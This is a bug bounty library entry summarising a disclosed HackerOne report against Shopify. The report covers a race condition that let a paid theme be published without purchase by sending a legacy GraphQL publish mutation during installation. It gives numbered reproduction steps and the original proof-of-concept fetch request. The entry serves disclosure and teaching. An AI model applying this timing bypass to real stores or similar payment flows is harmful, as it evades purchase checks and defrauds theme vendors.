# Ability to publish a paid theme without purchasing it.

Race condition in Shopify theme installation allowed publishing a paid theme without purchase by sending ThemePublishLegacy mutation during installation.

- Payout: $2,000
- Severity: low
- Program: Shopify
- Found by: saltymermaid
- Disclosed: 2020-08-27
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/953083
- Library page: https://bugbountylibrary.com/r/h1%3A953083
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:low tech:graphql vuln:access-control vuln:business-logic vuln:fee-bypass vuln:race-condition

**Target:** Shopify admin online store theme installation and publishing GraphQL API
**Root cause:** The ThemePublishLegacy mutation allows publishing a paid theme without purchasing it when the request is sent during the theme installation window.
**Steps:**
1. Install any free theme and publish it.
2. Copy the `ThemePublishLegacy` XHR request as fetch from devtools and keep it for later.
3. Start installing a paid theme from themes.shopify.com.
4. Refresh admin/themes, then in devtools select the first graphql request to `ThemesProcessingLegacy` and copy the theme ID from its response.
5. Send the saved `ThemePublishLegacy` request with the paid theme ID before the theme installation is complete.
6. After installation, refresh to see the paid theme published.
**How found:** Researcher was exploring alternatives to a previous report (#927567) and discovered that sending the legacy publish request during installation bypasses the purchase check.
**Exploitation:** Attacker times a GraphQL publish mutation during the paid theme installation window, bypassing purchase requirement. After publishing, the theme becomes owned, allowing editing and download.
**Insight:** Legacy or unversioned API endpoints may lack authorization checks present in newer flows; race conditions during multi-step operations (like theme installation) can bypass payment or ownership validation.

## Proof of concept (copied exactly from the original report)

**ThemePublishLegacy GraphQL mutation fetch request**

```
fetch("https://yourshop.myshopify.com/admin/online-store/admin/api/unversioned/graphql", {
      "headers": {
        "accept": "application/json",
        "accept-language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
        "cache-control": "no-cache",
        "content-type": "application/json",
        "pragma": "no-cache",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "x-online-store-web": "1"
      },
      "referrerPolicy": "no-referrer",
      "body": "{\"operationName\":\"ThemePublishLegacy\",\"variables\":{\"id\":\"gid://shopify/OnlineStoreTheme/[THEME_ID]\"},\"query\":\"mutation     ThemePublishLegacy($id: ID!) {\\n  onlineStoreThemePublish(id: $id) {\\n    theme {\\n      id\\n      __typename\\n    }\\n    userErrors {\\n      field\\n          message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}",
      "method": "POST",
      "mode": "cors",
      "credentials": "include"
    });
```

